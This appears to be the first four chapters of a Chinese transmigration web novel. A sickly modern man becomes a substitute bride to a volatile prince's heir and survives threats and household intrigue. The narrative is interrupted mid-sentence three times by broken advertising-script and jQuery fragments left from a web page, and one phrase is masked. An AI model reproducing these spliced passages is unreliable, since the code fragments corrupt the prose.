《替嫁世子妃受宠若惊[穿书]》 1. 穿书替嫁 “痛……” 掀起盖头,有东西扎了白照影一下。 桃花眼环视四周,到处浓郁的深红。红绸红缎,红床红幔,布置像古装剧,而他正对着雕花门坐在喜床上。 他是个被推进病房做骨髓移植的病人,为什么会在未知片场? 糊门纸外冲进一支箭! 铮—— 白照影头皮骤麻,本能地缩小存在感,心脏被吓得差点儿停跳。头顶凤冠珠玉瞬间崩碎,撒在地面乱蹦,发出阵稀里哗啦的碎响。 哗啦啦啦…… 这不是古装剧。 这箭来真的!就插在他的凤冠正中,他两手颤抖地抚着清漆油过的箭杆,木质格外真实,提醒着他从病房来到了另外的世界。前世他已经因手术失败死了。 穿越,重生? “世、世子爷!” “洞房不宜动兵,唯恐惊到新人,大喜之日,请放下弓箭啊世子爷!” 外头是婢女的尖叫,脚步杂沓,惊恐万状,只听声音都能想到庭院的混乱。 混乱是别人的,放箭的混蛋在门扇映出个高挑剪影,低沉阴森的语调,幽幽调侃: “何故大惊小怪,不过是讨个彩头,证明本世子对爱妃‘一箭钟情’。” 一见钟你奶奶个腿的情!!! 他懂了,现在在一本书里,书是他做手术之前,听隔壁床病友放的:《宅斗之庶子欲孽》。 简言之,讲的是庶子白兮然,运用貌美心机,不断实现地位上升,直到跟主角攻七皇子结为连理,帮助七皇子夺嫡登基当上皇后。 主角攻受之间的相识,因为白兮然写了篇文章,鼓励现在还是个混不吝的七皇子,是块璞玉浑金,应该发愤图强。 但怎会得罪这位世子爷呢? 白兮然这篇文章,对比了个凶恶疯癫的混蛋。对,就是门外的世子殿下。 世子疯性大发在御前求婚,扬言就娶写文章“点醒”他的人,主角攻受马上要被拆散,这时——主角一贯性格软弱的嫡兄出现了,勇敢到反常,要替弟代嫁! 白照影就是这倒霉的替嫁者。 对方是个疯子,想伤害自己。白照影拔出嵌在发冠里的羽箭,意识到刚才箭只要再下移一寸,爆裂的就会是他的头颅。 他摸出刚穿进来时,扎到自己的两寸小刀,低头看看,刀格外得短,但这是自己现在唯一能依靠的武器。 是打还是等死? 搏一搏,单车变摩托。 白照影那纤细皓白的指头,捏住匕首的刀把,怀疑带着它甚至能过安检。怎知上辈子没杀过鸡,这辈子开局就得杀个人。 他倒抽口气调整呼吸,额前浮汗,心率跳得很快,对雕花门外的那个人影,怀着期待、恐惧,以及将要杀他的怜悯,以及这个朝代是否保护正当防卫权的担忧。 久病缠身惯了,整个人都是节能模式,这还是头一次,能有谁引起白照影如此复杂的情绪变化——门开了! 捏紧刀柄的指尖骨节,因紧张发出声干脆的轻响。 白照影将所有注意力凝聚到房门,竟觉得那门扇开启速度极慢,犹如一帧一帧拖动画面播放。 萧烬安缓缓映入他的视线。 白照影同时屏住了呼吸。 他很高,手握重弓。故意作对,大婚当晚穿着身玄色的圆领长袍。胸口领口都用金线绣着蟒纹。红烛照映,光芒明灭,但比尊贵着装更夺目的是他的眼睛。 那是双本该很标准的剑眉星目,却因为他眼窝深邃,眼神里有股化不开的阴鸷厉色,使他像与整个世界隔着层黑雾,分明是天潢贵胄,竟浑身透着股魔教教主的邪性。 萧烬安,隋王府世子。 萧烬安走进屋,一步一步。脚步像踩在白照影的耳鼓。 前世做了十几年守法公民的白照影,因为对方无意间散发出来的威势,意识到他是个手上见过无数鲜血的练家子,像自己这种娇宝宝小病鸡,最好还是牢牢地藏起匕首。 别找死了。 *** 洞房紧闭,萧烬安在他旁边坐下。 白照影咽了咽口水,下意识把眼睛合上。 他不敢看对方,怕激怒这人,更没敢露出惧怕或者厌恶,任何多余的情绪,唯恐引起对方反应。他小心地拿捏着分寸。 但这时脸被人抬起,萧烬安指端粗糙,白照影正在被他很凉薄地审视,不得不睁开条眼缝,茧子刮得他又痛又痒。 耳边响起猎食者愉悦的享受声,悠闲缓慢:“怕吗?” 白照影轻轻吸了口气,嘴唇微张,露出点嫩红的舌尖,唇片又合住了。 怕……也不敢吭啊。 桃花眼笼着水雾。 上辈子除了病痛,他家境富裕,浑身都被精心娇养,受不了太大刺激,有点想哭。 但好不容易自己有个重生的机会,这具身体比前世要健□□命诚可贵,白照影在心理极限边缘安慰自己苟命,用沉默当作给萧烬安的回答。 萧烬安把手收回去,点了点床面,笑意格外散漫: “上京白氏二公子,人前号称如玉如竹,却为攀上高枝变凤凰,做些拉高踩低的勾当,想得到会被我求婚拉下地狱么?” 说得是主角受嘲笑他的事。 白照影没法解释,他不是白兮然,文章也不是他写的! 再说拿终身大事报复别人,杀敌一千,自损八百。这人简直睚眦必报,疯得够劲够狠啊! 到底是求生欲,让白照影鬼使神差地转了个心思: ——他想看我恐惧,我便奉承他吧? 当个又乖又黏的世子妃,不与他起任何冲突,那样他会不会觉得没趣,然后拂袖就走了? 白照影小小地呢喃了声:“夫君。” 萧烬安微微眯起眼睛。 前世病体使然,白照影说话声音不大,声线柔和,在讲些短促词语时,语气又甜又软,像在人心上落了只小小的钩子。 他又重复地唤了声:“夫君。” 萧烬安眼睛眯得更狠了。 白照影手探过去,徐徐接近,谨慎得仿佛在摸老虎屁股,握上萧烬安搁在床边的弓柄,他不着痕迹地转移凶器,破弓箭沉得厉害。 “洞房花烛新婚夜,该是和和美美,我伺候夫君舒舒服服度过的,咱们一箭钟情已经见过了,夫君箭术过人,想必是喜欢我的,我对夫君也很满意,让我好生服侍服侍夫君可以嘛?” 在说比较长的语句时,白照影每个字,就从小小的钩子,变成串温润的珠玉。 他很乖地凑过来,拳头如仓鼠般在萧烬安身前细细鼓捣,手爪子软软落在萧烬安大腿:“想必今日成亲折腾得累了,夫君浑身肌肉僵硬,我给夫君松快松快,我按摩手艺很好的。” 这倒是没吹牛。 因为久病卧床,肢体总是不舒服,白照影会在病情稍缓和时,晒晒太阳给自己捏捏,他自有一套章法,基本能捏到解乏。 于是萧烬安被他成功上手。 但白照影却不敢有丝毫大意。 对方肩背腰腿底下,隐藏着扎实的肌肉,外头有袍服掩盖还不明显,摸到才清楚这具身体何其有力量。幸亏没跟他硬碰硬。 呜,还硌得手痛。 饶是使出浑身力气,触感总像是拳头砸墙。他在不为人知处调整呼吸。带着些桃花香味的气息从后向前,浅浅拂动萧烬安有些碎发的耳际。 萧烬安因为这点痒意挪动身子,眸光往墙角横了瞬。 白照影两辈子没出过这么大力气,手累得只能停了。感受到大魔王敛起呼吸,他似被猎鹰锁定,赶紧换个方法哄,甜甜撒娇:“夫君,你饿不饿,吃点东西?” 萧烬安:“你看着伺候。” 呵呵,好摆谱兄弟。 你可知这要在我家,你这样欺负我,是要被保镖扫地出门的。 那腹诽不知怎的像被萧烬安听见,萧烬安语气冰冷:“伺候得不好,换本世子伺候你。” 那还是不要了! 这人端着副鬼畜的表情,白照影脑海轮播“满清十大酷刑”。岂敢让他“伺候”自己? 他连忙起身去桌上端来果盘,拈起颗樱桃投喂野兽,樱桃呈现出娇艳欲滴的玛瑙色,映得白照影指尖如蔻丹秾丽。 “夫君尝一尝?” 萧烬安不吃。还拨开他的手。 白照影只得换种食物,依旧显得很耐心: “那来块西瓜?” 也不吃。 “频婆果?”苹果在古代应该是叫这个名字。 还是不吃。 这也不吃那也不吃,白照影根本没伺候过谁,他身体向前微倾,忽被一股猛力带到萧烬安跟前。他紧紧抱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着果盘,生怕汤汁洒在萧烬安身上,然后抬头暗自打量对方。又要干什么? 两人的视线恰好迎上。 他被人不紧不慢地盘问: “白兮然,洞房花烛夜,你还该伺候些什么?” 一绺长发,被萧烬安顺过来,攥在指端缠绕着,力度就像把玩细细的蛇。 若说那篇文章满纸谄媚,暗藏心机,他能读出对方想往上拼命地爬。但是眼前这个少年眸光清澈,除非城府比想象得还深。 萧烬安厌恶且期待,辱人者人恒辱之,白兮然,惺惺作态惯了,你又能装多久呢? “对,我知道了,我们还要喝合卺酒,夫君稍等,我这就去倒。” 白照影眼睛转了转,电视剧里都这么演。更何况多喝几杯,把你灌醉,今晚营业结束,小爷我就可以睡觉了。 酒是早就准备好的。 纯银百子莲花酒盅摆在酒壶旁边,白照影倒满两杯酒,左右手各执一杯,因为屋里回旋的余地不大,他衣摆特别大,差点儿被嫁衣绊倒,活像一团会动的花。 “夫君请。” 萧烬安掌心被塞进个酒杯,杯口荡漾着浮光,银质酒杯表面,遗留着少年淡淡的温度。 他眸光微凝,注视片刻白照影,那双水润的桃花眼,越发懵懂干净,并不见有不堪折辱的表情,甚至也看不出,是不是在故意装傻。 难道他真的不懂自己的暗示? “手臂要再抬高些,就是这样,夫君真棒!” 桃花清甜软软地蔓延过来。 白照影将两人的手臂,按他在影视作品中的印象交叠在一起,双臂相勾时,衣服底下皮肤间的温度相互传递。 温暖的。 真实的。 萧烬安抿唇,对亲近本能地防御。 然而对方越发浑然不觉,还在耐心给他解释,合卺酒怎么饮:“待会儿我们要同时举杯。喝下这杯酒,夫妻同体,同心同德,今后就要同甘共苦,长长久久啦。” 这少年好像还很期待喝这杯酒似的。 萧烬安被白照影带着,鬼使神差把酒饮毕。 酒浆缓缓滑入喉咙。他放下杯盏,见红烛昏罗帐内,两人衣袖衣摆相叠,少年对他痴痴含笑,略微歪头,灯影迷离,眸光潋滟。 白、兮、然。 萧烬安暗中舔了舔犬齿。 白照影则是用黏糊糊的嗓音继续劝酒:“夫君,我们再喝,喝第二……杯……” 骨碌碌碌—— 空酒杯乍然落于红毯,在地上划出个圆润的弧度。少年突然撒手丢了杯子,仿佛被抽走三魂六魄,他一头栽进萧烬安怀里,马上就失去了动静。 酒里有毒!? 萧烬安运气迅速过了遍浑身经脉。 不对。杯子是银质的,他早观察过。自身也始终没发出任何药性。他再推推这少年,以为这是白兮然买来的刺客,为拒婚故意搞这种自杀式袭击? 可怎会有连毒酒都饮错了的刺客??? 如果真是刺客,萧烬安嫌恶地推开白照影脑袋。 但白照影却因为这一推终于动了,他脑袋轻晃,打了个餍足的酒嗝:“嗝。再喝,第……二杯……喝,接着……喝啊……夫君。” 严格执行灌酒计划的白照影,完全没料到自己上辈子滴酒不沾,是典型的一杯倒还瘾大。 他身体根本就没有酒精耐受力。眼下轻吐长气,还说醉话,下唇湿痕光亮,眼睛半张地扯动萧烬安的衣领和衣襟,淘气小猫,拨爪乱挠。 “好夫君,呜。” “我上辈子,真没做过,什么……亏心事。这辈子,为什么罚我,罚我……来替……替……” 替什么? “替白兮然嫁给个疯子啊。” 一言既出,白照影遽然疼痛! 他被刚哄好的萧烬安扳起下巴。 对方的阴戾眼神正在狠狠逼视着他,手上力度极大,像把他的下颌骨钳碎似的,白照影吃痛哭了起来,桃花眼蓄满泪水。因为即将有性命之忧,醉意全消,灵台一片清明。 救命! 自己刚才说了什么??? 他本来能够过关,却意外踩中了所有的雷,既招出自己替嫁,还贴脸骂萧烬安是个疯子。 这可比白兮然得罪他要狠得多吧。 他、完、了。 2. 请求收留 那双钳住白照影下巴的手逐渐下移,喉咙被扼住,窒息感令白照影回忆起观礼宾客们对萧烬安杀人成瘾的议论,死亡的威胁近在眼前。 于是讨好的话又浮现嘴边,他断断续续往回圆:“不不不,我的意思是说,夫君不疯,夫君就是有些与众不同而已。夫君文武双全,夫君海纳百川,夫君……” “我不听屁话。” 讨好卖乖,都是刚才用过的招数,奉承也肯定不好用了,白照影大脑缺氧,眼前发黑,只觉得头脑里根根血管就要炸开了。 病死跟掐死相比,后者的死相实在是太过难看。 他不想死。 但他想起萧烬安睚眦必报的性格。 白照影大声道:“殿下不能杀我!你杀我只能让亲者痛,仇者快!看起来是恩怨两清,其实你亏得厉害!” “你倒是说说我怎么亏?”萧烬安寒声,“说不出来,你就去死。” “白兮然让我替他出嫁!如果我死在王府,那就保全了白兮然,殿下也根本报不了仇……” 萧烬安冷笑:“白家担上欺君之罪,满门岂能活命?” “非也非也!”白照影迅速道。 这是他两辈子加起来,反应最最快的一回。 他噼里啪啦地摊开利弊,头脑在高压之下,格外机灵起来:“你要娶白兮然,却杀了白照影。我们显得兄弟情深,白家则会因为你杀了我,倒打殿下一耙,从没理变成有理了!” “也许白家根本就不希望我活着。” 等、等等。 话锋说到这儿,白照影后背汗毛根根炸立。 他好像误打误撞戳穿了事情的真相。 那把垫在他身下,谁也杀不了的小刀,让他合理怀疑,那就是故意要激发萧烬安的凶性。毕竟替嫁纸包不住火,白家完全清楚,就想让自己死在萧烬安手下。 他这个弟弟白兮然,还有白家,都是些什么人。 不愧是宅斗文,有点可怕。 白照影眼睛闪了闪,泪光在瞬间更为氤氲,把本来是要求生讨饶的话术,做得动心动情。 上辈子他胎里带病,家人补偿给他无度的娇宠,他从没想到过,亲族之间,竟会有这样缜密的算计。 他回不去白家。 似乎也只有依赖萧烬安,才会暂且得到片容身之地。 白照影哭着蹭世子的手,唇上涂过胭脂,浅浅一道红痕,擦在萧烬安掌背: “呜。夫君。” “白家弃我如敝履,咱们都是这场阴谋的受害者!我愿意生生世世亲爱殿下、陪伴殿下。我们喝过合卺酒拜过堂,求求殿下成全我侍奉左右。我会成为殿下最好的帮手,求求夫君!” 眼泪有温热的触感。 白照影的皮肤柔软,活像雨夜里可可怜怜求收留的小动物,注视萧烬安的目光里,充满了崇拜与投诚,写满了“留下我”“我很乖”“求求啦”。 萧烬安被扒着手,掌背蹭得湿漉漉的,眉头皱紧,面色铁青。 白家没嫁出白兮然,送过来个替死鬼。 白兮然甚至还想算计他,此人处心积虑,又善作虚伪,这笔账没完。 至于白家这小傻子的去留…… 萧烬安甩开白照影,这哭啼鬼满眼都是泪,仿佛再在洞房多待片刻都嫌烦,隋王世子将刚娶的世子妃独自留在房中,走了。 白照影擦擦沾满眼泪的睫毛。获得暂住权,眼睛眨巴眨巴。 *** 尽管带着妆,但这具身体的确是健康的,萧烬安走后,白照影睡了这两辈子加起来最最满足的一觉,直到天明自然醒。 “少爷。我可以进屋吗?” 这声音……是昨晚门口的婢女。 茸茸端盆进来帮他洗漱,小丫头十一二岁,梳着两边花苞头。进门就看见白照影把妆给哭花了,昨晚必定是受了那疯癫世子的欺负,帕子沾水,茸茸给白照影细细擦拭脸颊。 白照影嘶了声。他脖子侧面还有指印。萧烬安掐的,仰起脸时,脆嫩的肌肤被牵动得疼。 茸茸知道少爷平时惯为恭顺,很少说话,受委屈也不吭,就边给白照影擦脸边掉眼泪:“少爷疼不疼?少爷命真苦,在家不得老爷跟柳姨娘喜欢,还被他们逼迫嫁给这么个疯子……” “嘘。” 那萧烬安是个大魔王,小妹妹,你当心隔墙有耳啊。 白照影忽然打断茸茸的话。 从昨晚到现在,他多少摸清了这条剧情支线,原文为突出白兮然,根本没写“白照影”这个小角色挺身而出的背景,其实就是被逼被算计的。 主仆一时无话卸完脸上的残妆,茸茸捧起铜镜,白照影审视这辈子的脸,跟原来相比,也就头发长了。 “那茸茸给您梳头发吧。”小丫头拿起梳子。 白照影点点头。昨日为成亲戴凤冠,将头发扎得夸张了些,头顶发髻还挨了萧烬安一箭,夜里胡乱拆散头发一通拱,现在跟鸟窝似的。 茸茸抓了抓他的头皮,按摩过后,才开始梳发,白照影享受服务中。 屋门砰的一声敞开。 屋里所有东西都好像在这个瞬间发出巨震,送嫁的宋老妈子语气不善,冲到跟前先把茸茸给拨开了:“听说大少爷昨晚把替嫁的事招出来!可害苦白家了!” 她拨开茸茸时,扯断了白照影两根头发。 白照影斜了宋老妈子一眼。 而宋老妈子却在原主跟前张扬惯了,根本没察觉大少爷换了芯子: “老奴虽是奴才,但也知道白家为重,大局为重!老爷每日为白家奔波,姨娘在家操持家务,二少爷日夜苦读,为上京白家博得了好声名,唯有大少爷不仅让人欺侮,就连事情也给办砸了,老奴真替大少爷脸上无光!” 卧房里好像飞进一只乱扑的老母鸡,宋老妈子连声吓唬:“王府一旦追究下来,白家就是欺君之罪,大少爷好会害人,眼下该怎么挽回?” 那嬷子往脸皮上拍了几拍。 白照影却答得颇为事不关己:“那是白家欺君,与我何干?” 宋老妈子怔住了。 张了张嘴,竟没说出话。不对吧。对面坐着的是大少爷,但感觉又完全不同于大少爷。 宋老妈子赶紧道:“大少爷也是白家的一员!” “我现在嫁入隋王府,是世子妃了。律法治罪,祸不及出嫁之人。闹归闹,别带上我。” 进门就看这老奴不顺眼,推人还叫嚣,舞什么舞?可恶,你当我丁点儿没看过宅斗剧吗? “跪下!” 宋老妈子更是愣得更如一尊塑像,茸茸看见咬了咬唇,想起平时他们主仆被这老奴欺负,提起底气道:“大少爷让你跪着回话!” 宋老妈子被唬住了,毕竟身份也是奴仆,行礼抬头,正对上白照影越发光艳外露的面孔,心中暗暗惊讶。对方仿佛一夜之间,从待开的花骨朵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,长成满树盛放的桃花,生动而娇艳。 白照影勾起嘴角:“二弟他日夜苦读,读出些什么鬼,是他给白家惹出个天大的麻烦。我嫁过来,就已经仁至义尽,你们回去自求多福吧。” 从没听过大少爷如此说话,他向来是讷讷的。 宋老妈子的脸色铁青。 她是白兮然的奶娘,柳姨娘的贴身嬷嬷,他们为了昨天晚上的那个局机关算尽,可唯独没能算到,会有白照影本人性情大变这个变化。 白照影没能以死保节,还容光焕发地活着,身份跃然直上,现在是隋王府世子妃。 宋老妈子彻底脸色灰败,已经不是她这个奴才,能够解决的情况了。 “你……我……我告诉老爷,我……我、我,我现在就回!” 到底是心里有气,宋老妈子提起裙角疾走,走得太快又没看路,竟是砰的一声撞上门框,捂着脑袋好不狼狈。 茸茸在旁参与全程,直到宋老妈子走后,表情依旧有点发呆,像是脑袋还没转过这个弯,眨巴着圆溜溜的杏仁眼,都没能想到他们居然有战胜这老恶妇的时候。 “少爷。她很会告状的。最擅长添油加醋,许多事本来您占理,却惹得老爷频频怪您。” 白照影微微点头,往事追究无益,白家得罪就得罪了,反正也没法回去。 茸茸继续给白照影梳头。但听白照影对镜歪头,忽然豁然开朗,喃喃了声:“好用啊。” 茸茸莫名:“什么好用?” 白照影笑了:“萧烬安好用啊。”他轻声说。 这一笑让茸茸惊艳得很。可惜大少爷以前总把自己关在家中,才让上京城传闻二少爷才貌双全,要她看来,这才是真正的风姿卓绝:“为何世子殿下好用?” 因为白照影想起一件事—— 那部有声小说,他断断续续地听,回忆萧烬安的结局,婚后不久,萧烬安死于大虞朝的一场战争……他们没终生绑定! 熬到萧烬安战死,就能得到遗产守寡! 隋王府啊,隋亲王,天子的弟弟,那可不是一般的有钱人啊,估计比上辈子的家产还多。 天生注定我命带富贵,白照影小声点头: “萧烬安昨晚没杀我,那就是能哄住,我现在对外有萧烬安凶名罩着,白家敢跟我造次?” 茸茸身为奴婢,自是没敢吭声,但眼睛不由瞟到白照影脖颈的血印,这就叫哄住了…… “我服务对象只有萧烬安。在他手下苟活,活到服务到期,细枝末节我不足为惧!茸茸!” “少爷我在!” 场面竟忽然激动起来,茸茸也不知怎么回事。 “你去准备点心,准备早饭,我要好好吃饭,不吃清淡的,吃辣,吃冰,什么油炸的糖醋的统统不忌口……对,我今晚还要熬夜!” 茸茸:“啊?” “啊什么,你快准备,咱俩一块吃,你这年纪还在长身体,多吃多补才行。未来的好日子还长着呢!” 我家少爷莫不是傻了吧。茸茸半信半疑,疑惑居多。 但白照影在说完这番话时,站起身,拿过铜镜自我欣赏。 他还未加冠,半披长发,青春年少,面容焕发着光彩,重生的喜悦到现在才在他心底蔓延开,滋味甚好,他深吸了口新鲜的空气。 “快去准备。吃完早饭,我们还要去考察一下工作环境。嘿嘿。” 茸茸无奈地退下。 3. 如此活泼 按说这不当不正的时刻,最多能吃到些聊以果腹的点心。 但隋王府毕竟家大业大,不多时茸茸就传来桌丰盛的早午饭,并且依照白照影吩咐,不吃清淡,可着香的辣的甜的咸的上,宗旨是五味俱全地造。 王府侍从鲜少来世子院这边传菜,更是没见过能在世子院这种阴气森森的地方,吃饭吃得这么香的人。 “茸茸你快尝尝这个。这饼有种清甜的香味。” “好。好的。”能跟少爷同吃,已经觉得三生有幸,茸茸不敢僭越与少爷同席,站着吃。 白照影拗不过只能随她去。 “为什么这饼香而不腻?” 侍从垂目:“禀世子妃,这是木犀花饼。每年木犀花开放时,宫中设有拣花使者若干名,收集上来新鲜花瓣分发至各府。糕饼不添香料,全凭本味沁人心脾。” 唔,无污染无科技狠活。 光是拣花使者这四字祭出,何其风雅,穿越这趟不亏。 ——当然,前提是继续抱稳萧烬安这条大腿。 …… 早饭足足吃了半个时辰。 早饭罢,侍从撤去餐具离开,每个人都捧着一摞精致的小碟子。 白照影用丝帕擦擦嘴,丢下帕子起身,出世子院:去考察工作环境。不用走的,用跑的。 他前世没跑过。 茸茸在后面紧跟:“少爷,您刚吃完饭,要等食物在腹中消化片刻,少——” 鬼才会乖乖听话。 此时春末夏初,百般红紫斗芳菲,白照影拥抱日光,闭着眼睛张开双臂,仿佛一只拍动翅膀随时能飞走的蝴蝶。 这隋王府占地规模宏大。 亭台轩榭、湖泊假山,应有尽有。听说甚至还有马场道场,除非站在院墙附近,否则放眼望不到边。 白照影欣赏园林景色,左一眼,右一眼,怎么也看不够。 他睁圆了桃花眼,放眼看湖,湖与岸之间的石子路上,恰有队水鸭子步行而过,鸭妈妈走路摇头摆尾打头阵,后面跟着好几只刚长出绒毛的小黄鸭。 白照影不看船了,低头改看小鸭子,蹲在鸭群旁边检阅部队,手指尖戳戳小黄鸭的羽尾。 “太可爱了。” 上辈子也没有养过小动物。别人是怕小动物死了,饲主饱受离别之苦,白照影是正相反,他怕他哪天完蛋,小动物失去主人难过。 每只路过的小鸭子他都要友好地轻轻戳一戳。 茸茸在后面气喘吁吁地追上。 可是这般悠闲的情致,却被一声粗嘎的大叫打断,河岸冲上来只两三尺高的大鹅! 大鹅上去就叨小鸭的屁股,小鸭被吓得惊慌失措,鸭妈妈回头救援,却根本不是鹅的对手,眼看就要落败。 白照影不许它恃强凌弱。起身果断挡住大鹅,张开衣袖庇护,鸭妈妈带儿女快速通行。 大鹅愤而大叫,叨白照影的袖子,羽毛乱飘,白照影一通乱躲,冲着大鹅做出个跨越物种的鬼脸:“略略略——” “嘎嘎嘎!!!” 茸茸从来没见过这阵势,突然惊道:“少爷,那边来了一群鹅!” 白照影大惊:“你还带叫帮手的???” 单挑变群架,大鹅呼朋引伴,群鹅振翅纷纷扑去。 吓得白照影往湖畔逃跑,慌不择路钻进湖边游船,茸茸跳上船板,将拴船的绳索勇敢地解开,船桨猛戳岸边,船进水漂流。两人躲进船舱里。 群鹅再战无益,悻悻离去骂声不绝。 白照影顺水漂远了才敢钻出船篷向鹅群挑衅,但没看见假山后面有块凸起的叠石,撞在后脑勺疼得嘴角猛颤,乐极生悲大哭。 “少爷,少爷你怎么了,少爷!” “好痛啊。” *** 世子院飞仙亭,是整个王府最高的地段。 萧烬安端起茶杯,目光看似俯瞰全景,但白照影闹出这么大动静,萧烬安在远处怎能不注意? ——保护小鸭,和鹅打架,被鹅追杀…… 喜怒哀乐惧,很短的工夫里,在白照影脸上走马灯似的轮换,他抿了口微苦的茶水,皱眉转了转杯沿,愚蠢。 “禀殿下,白家嫡子白照影。母亲早逝,白老爷娶了门妾室,生下庶子白兮然,嫡子没娘亲庇护,常把自己关在白府后宅不出来,怯懦内向,被称为‘呆木头’。” 亭外两人皆是萧烬安的亲信侍从,是对姐弟。弟弟健谈,姐姐沉默。 弟弟又道:“就连白府的老妈子都敢欺负世子妃,经常克扣他份例呢。世子妃也不说话。” 不说话?呆木头? 萧烬安想起方才还有人在亭下与鹅对决,又想起他昨晚甜言蜜语,哄自己合卺交杯。 这要是段呆木头……满园的花木都得化形成精吧。 萧烬安:“白家的情况,重复。” 成安忙不迭点头: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “白夫人早死,白老爷宠妾灭妻,嫡子性格木讷。” 萧烬安又咽了口茶。 这白照影,不是中途换了人,就是故意装作不爱说话。装蒜的可能性更大。 成安也是这么想的,娃娃脸扬起来,连忙跟主上沟通:“可能是因为他幼年丧母,不得不另出奇计缩小存在感,害怕遭到家里其他人算计,所以才……这倒是跟世子爷有点相像。” 姐姐狠狠拧了弟弟一把,音色惶恐:“殿下恕罪!” 萧烬安心口骤紧。 因为成安的无心之言,一些不愿回忆起的画面,控制不住地涌现,他看见了母妃去世以后,侧妃抱着王府庶子在庭院欢笑,父王望向自己,露出厌恶冷淡的神情。 “烬儿,他是个疯子,不必理会。” “世子行为无状,让各位见笑了。” “世子疯了。” 头颅像是有万根银针同时刺中! 萧烬安捂脑袋,掌背青筋根根爆出。袍袖扫落了石桌的茶壶茶盏,紫砂碎片迸溅满地,淡青色茶水沿着石砖蜿蜒。 “殿下!”姐弟俩同时道。 “滚。” 世子又犯病了。姐弟俩惶然。 坊间所传的疯症,其实半真半假,并且事出有因。世子发作时确实会有暴躁之举。但因为曾经出手误伤过他们,所以往后只要感觉情况不对,他就坚决果断让他们滚。谁也别来管。 姐弟俩不敢违拗,原地起身后退,守在五十步外跪倒。 飞仙亭四壁漏风,并无任何屏障。而亭内亭外隔绝两个世界,犹如天堂地狱,萧烬安独自关在地狱里,得有半个时辰才稍微恢复平静。 姐弟俩庆幸世子这回发作,比平时恢复得快。赶紧过来捡碎片。地面有未干的冷汗,有他痛苦时刺伤自己流下的血珠。 姐弟俩垂眸,半分关心也不敢露出,世子古怪,离他太近,问得太勤,脑袋太笨,行为太蠢,嘴巴太碎……他都会表现出嫌弃。 他现在正嫌弃地注视着亭下湖泊。 他盯着白照影那条船,看见刚才跟鹅打架的人,登上船,湖面漂够了,变成急得团团转。 ……因为不会靠岸。 “哈。”何其愚蠢啊。 成安成美后脊梁骨发寒。 成安小心翼翼地提醒:“殿下,世子妃附近是芙蕖院的方向,许侧妃把殿下当眼中钉,如果世子妃不小心跟她碰上,必定会被刁难吧。” 4. 为色所蛊 “是什么人!!!” “干什么的???竟敢擅闯芙蕖院,哪里来的狗男女???” 众侍卫刀光雪亮,纷纷把刚上岸还没喘匀气的白照影围在垓心。 白照影及时举手投降。赶紧解释,配上自然地微笑,企图息事宁人:“诸位将军,我们是世子妃和随侍。”茸茸点头:“不是什么狗男女。” 这具身体的原主才十六七,侍女茸茸也就是十一二,放在现代都还是花朵,这些大老爷们瞎叫什么狗男女,最多小狗男带着只小狗女。汪汪。 侍卫听罢他们的话,拔出的刀稍微挪远几分: “世子妃?世子那边的人?” 又有人说:“快去禀报侧妃娘娘!” 就在此半刻钟前,因为无法靠岸,白照影索性弃疗乱漂。 但谁知船到桥头自然直,那游船还真就漂到了岸边,到一处挨挨挤挤的荷花池,迎上这群身穿相同皮甲的王府护卫,再被对方给包围住。 这登岸方式确实有些特别,白照影自觉理亏,禀报的侍卫回来了,语气并不太善,初夏听着也让人觉得略感凉意:“见过世子妃,娘娘有请,让世子妃入院问安。” 有请,入院,问安? 六个字落在白照影脑袋里,逐渐扩散出一圈圈大大小小的涟漪: 王府没有正妃,侧妃最大。问安本来应该由自己主动发出,侧妃的措辞,让人品出责备的味道,白照影略感心虚。但却不能不进。冤家宜解不宜结。 不过,好在侧妃是隋王的妾,理论上说,不敢拿世子妃怎样。他虽胆小,想到这儿,底气还是壮了几分,带着茸茸跟随王府侍卫前去。 芙蕖院内部引水入廊,廊道两侧,也种满了碧绿的荷花,时节未到,花还没开,粉红色小荷露出尖尖角角,数量蔚为壮观。 廊道尽头摆着张美人榻,贴身侍女在旁打扇,略抬起些声调,提醒许侧妃:“娘娘,世子妃来了。” “嗯。”许菘娘懒懒地掀起眼皮。 她四十上下,发髻高高挽起,上面簪满了令人炫目的珠花,好像行走的珠宝架,服饰花团锦绣,颜色很接近正红。妾室不当用这种疑似僭越的颜色。 白照影上前行礼:“见过侧妃娘娘。” 许菘娘竟把眼睛给闭上了。 白照影感觉碰到个软钉子,有点不舒服。 但不管对方态度如何,他有错,要主动认错: “晚辈初入王府,本该尽早向娘娘问安,不料上午误入游船,直到刚才才靠岸,误闯芙蕖院惊扰娘娘,万望娘娘海涵。” 他诚恳低头。又过半晌,还是迟迟没听到许菘娘回应,悄然抬起双桃花眼。 婢女提醒:“世子妃虽嫁进王府,也是男子之身,目光直露地盯着娘娘,恐怕有失礼数。” 白照影只好收回视线,保持低头拱手的姿势,让他脖子有点酸痛。 好在瞌睡虫并没在许侧妃身上盘桓太久,许菘娘缓缓睁开双目,换了个休息的姿势,语气冰凉:“白照影,你可知罪?” 闯祸我认,论罪的话,不至于吧? 白照影没有乱接茬。 不过,这番静观其变,反倒误合了对方心意—— 听说白照影替弟出嫁,许菘娘暗中派婢女打听白照影此人,知道他软弱可欺。许菘娘膝下有子,且早有觊觎王府正妃之意,然而多年筹谋,未曾实现。萧烬安这嫡子世子的身份,可谓是挡在她上位之路的一座雄峰。 两方有十年的交恶,现在为了膈应萧烬安,而敲打他送上门来的世子妃,有现成的借口,许菘娘以为顺理成章。 “大胆白照影,”许菘娘质问,手指拍打美人榻的扶手,发出清脆的一声,“上京白家,自诩书香门第,竟做出欺君罔上的勾当!王府举办婚礼,规模宏大,宴请宾朋众多,事事给足白家颜面,而你以兄代弟,偷梁换柱,你不该认罪吗?” 她绣眉敛紧,示意两名健壮妇人,按白照影下跪。 两名老妇各个人高马大手掌有力,从背后摁住白照影,就好像摁住只无力挣扎的小鸡仔,虽说这一世白照影身体并无病痛,战五渣属性是延续下来的。 “少爷!”茸茸带着哭腔,也被摁住给侧妃赔罪,她人小胳膊还很细,更没有反抗能力。 白照影痛得后背生疼,被个老妇踢中膝弯,膝盖砸上地砖,他眼角眼尾红成一片,满心厌恶。但哪怕这时也不能承认“欺君罔上”。 